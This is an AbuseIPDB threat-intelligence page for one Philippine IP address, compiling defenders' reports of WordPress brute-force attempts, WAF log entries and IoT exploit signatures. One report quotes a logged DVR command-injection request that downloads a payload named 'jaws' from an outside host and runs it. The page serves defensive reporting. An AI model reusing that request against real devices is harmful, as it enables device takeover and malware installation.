JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 61.28.164.93

61.28.164.93 was found in our database!

This IP was reported 19 times. Confidence of Abuse is 50%: ?

50%

ISP	Eastern Telecoms Philippines, Inc.
Usage Type	Fixed Line ISP
ASN	AS9658
Hostname(s)	93.164.28.61.unassigned.static.eastern-tele.com
Domain Name	easterntelecom.com.ph
Country	🇵🇭 Philippines
City	General Trias, Calabarzon

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 61.28.164.93

Whois 61.28.164.93

IP Abuse Reports for 61.28.164.93:

This IP address has been reported a total of 19 times from 15 distinct sources. 61.28.164.93 was first reported on June 3rd 2026, and the most recent report was 2 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 TPI-Abuse	2026-07-17 12:12:13 (2 hours ago)	(mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.ea ... show more (mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.eastern-tele.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Jul 17 08:12:07.783845 2026] [security2:error] [pid 1016053:tid 1016056] [client 61.28.164.93:53796] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)\|Source 61.28.164.93 (+1 hits since last alert)\|conservativelabor.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "conservativelabor.com"] [uri "/xmlrpc.php"] [unique_id "alocF1Ybiv84ISgxu6wdRQAAAYA"] show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2026-07-17 12:10:48 (2 hours ago)	(wordpress) Failed wordpress login from 61.28.164.93 (PH/Philippines/93.164.28.61.unassigned.static. ... show more (wordpress) Failed wordpress login from 61.28.164.93 (PH/Philippines/93.164.28.61.unassigned.static.eastern-tele.com) show less	Brute-Force
🇺🇸 TPI-Abuse	2026-07-17 11:41:49 (2 hours ago)	(mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.ea ... show more (mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.eastern-tele.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Jul 17 07:41:43.525843 2026] [security2:error] [pid 18608:tid 18608] [client 61.28.164.93:51981] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)\|Source 61.28.164.93 (+1 hits since last alert)\|barigby.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "barigby.com"] [uri "/xmlrpc.php"] [unique_id "aloU99k77mVKcf2vRAoLFwAAAAQ"] show less	Brute-Force Bad Web Bot Web App Attack
🇩🇪 neckaralb-admin.de	2026-07-16 13:41:21 (1 day ago)	(wordpress) Failed login wp-login.php or xmlrpc.php	Web App Attack
Anonymous	2026-07-16 11:46:00 (1 day ago)	61.28.164.93 - - [16/Jul/2026:13:45:18 +0200] "POST /xmlrpc.php HTTP/1.1" 200 767 "-" "Jetpack/12.5; ... show more 61.28.164.93 - - [16/Jul/2026:13:45:18 +0200] "POST /xmlrpc.php HTTP/1.1" 200 767 "-" "Jetpack/12.5; WordPress/6.4; http://site47565253.com" 61.28.164.93 - - [16/Jul/2026:13:45:27 +0200] "POST /xmlrpc.php HTTP/1.1" 200 767 "-" "Jetpack by WordPress.com (Jetpack 12.0; WordPress 6.3)" 61.28.164.93 - - [16/Jul/2026:13:45:39 +0200] "POST /xmlrpc.php HTTP/1.1" 200 767 "-" "WordPress.com; https://wordpress.com" 61.28.164.93 - - [16/Jul/2026:13:45:49 +0200] "POST /xmlrpc.php HTTP/1.1" 200 767 "-" "WordPress.com; https://wordpress.com" 61.28.164.93 - - [16/Jul/2026:13:45:59 +0200] "POST /xmlrpc.php HTTP/1.1" 200 767 "-" "WordPress.com; https://wordpress.com" ... show less	Brute-Force Web App Attack
🇫🇷 Lunix	2026-07-16 11:38:45 (1 day ago)		Brute-Force Web App Attack
🇺🇸 TPI-Abuse	2026-07-16 11:10:44 (1 day ago)	(mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.ea ... show more (mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.eastern-tele.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Jul 16 07:10:39.010539 2026] [security2:error] [pid 26857:tid 26857] [client 61.28.164.93:49214] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)\|Source 61.28.164.93 (+1 hits since last alert)\|integrabroadcast.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "integrabroadcast.com"] [uri "/xmlrpc.php"] [unique_id "ali8L9TzQvog9pOM7CrzLAAAAAY"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2026-07-15 15:56:06 (1 day ago)	(mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.ea ... show more (mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.eastern-tele.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Jul 15 11:56:01.764170 2026] [security2:error] [pid 13384:tid 13458] [client 61.28.164.93:52889] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)\|Source 61.28.164.93 (+1 hits since last alert)\|utahhoaservices.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "utahhoaservices.com"] [uri "/xmlrpc.php"] [unique_id "aletkSdb_8apb-MJH3A0YwAAAM8"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2026-07-15 13:01:34 (2 days ago)	(mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.ea ... show more (mod_security) mod_security (id:240335) triggered by 61.28.164.93 (93.164.28.61.unassigned.static.eastern-tele.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Jul 15 09:01:26.381214 2026] [security2:error] [pid 29298:tid 29298] [client 61.28.164.93:53614] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)\|Source 61.28.164.93 (+1 hits since last alert)\|futuresgrowhere.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "futuresgrowhere.com"] [uri "/xmlrpc.php"] [unique_id "aleEppYxjDpOKqmIBgX0ZgAAAAI"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 xmission.com	2026-06-04 11:28:18 (1 month ago)	Blocked by UFW (TCP on 80) Source port: 28307 TTL: 47 Packet length: 44 TOS: 0x00 This report (for ... show more Blocked by UFW (TCP on 80) Source port: 28307 TTL: 47 Packet length: 44 TOS: 0x00 This report (for 61.28.164.93) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Web App Attack
🇬🇧 PeravixGroup	2026-06-04 08:17:59 (1 month ago)	Honeypot detection: Android Debug Bridge (ADB) unauthorized access attempt on port 5555. Severity: M ... show more Honeypot detection: Android Debug Bridge (ADB) unauthorized access attempt on port 5555. Severity: MEDIUM. Aaran.cloud show less	IoT Targeted Hacking
🇺🇸 brantknudson.org	2026-06-04 07:42:18 (1 month ago)	Known bad request line: 61.28.164.93 - - [04/Jun/2026:02:42:18 -0500] "GET /shell?cd+/tmp;rm+-rf+;w ... show more Known bad request line: 61.28.164.93 - - [04/Jun/2026:02:42:18 -0500] "GET /shell?cd+/tmp;rm+-rf+;wget+ 140.233.190.47/jaws;chmod+777+jaws;sh+jaws;./jaws; HTTP/1.1" 400 166 "-" "-" "-" "" show less	Web App Attack Hacking
🇹🇷 muratkaya665	2026-06-04 07:15:53 (1 month ago)	IPS Attack Blocked by server.mura****.com.tr Fortigate-80E. Attack Name: DZS.GPON.Remote.Code.Exec ... show more IPS Attack Blocked by server.mura****.com.tr Fortigate-80E. Attack Name: DZS.GPON.Remote.Code.Execution. Dest Port: 80. Service: HTTP. Message: applications3: DZS.GPON.Remote.Code.Execution. show less	Hacking
🇺🇸 gu-alvareza	2026-06-04 07:05:47 (1 month ago)	JAWS.DVR.CCTV.Shell.Unauthenticated.Command.Execution	Hacking Web App Attack
🇮🇪 RoboSOC	2026-06-04 05:10:01 (1 month ago)	MVPower DVR Shell Unauthenticated Command Execution Vulnerability, PTR: 93.164.28.61.unassigned.stat ... show more MVPower DVR Shell Unauthenticated Command Execution Vulnerability, PTR: 93.164.28.61.unassigned.static.eastern-tele.com. show less	Hacking

Showing 1 to 15 of 19 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇧🇬 193.24.211.76

🇺🇸 172.237.136.213

🇺🇸 165.154.182.92

🇧🇷 200.11.123.248

🇳🇱 192.253.248.56

🇺🇸 192.178.115.218

🇮🇹 151.82.124.78

🇳🇱 91.92.40.15

🇰🇷 59.9.222.197

🇮🇳 49.43.132.86

🇳🇱 45.148.10.147

🇬🇧 35.203.210.153

🇰🇷 175.206.113.91

🇺🇸 104.42.186.50

🇻🇳 103.163.119.173

🇫🇷 91.196.152.193

🇬🇧 35.203.211.214

🇺🇸 34.85.145.214

🇰🇷 221.164.237.124

🇮🇩 202.152.201.166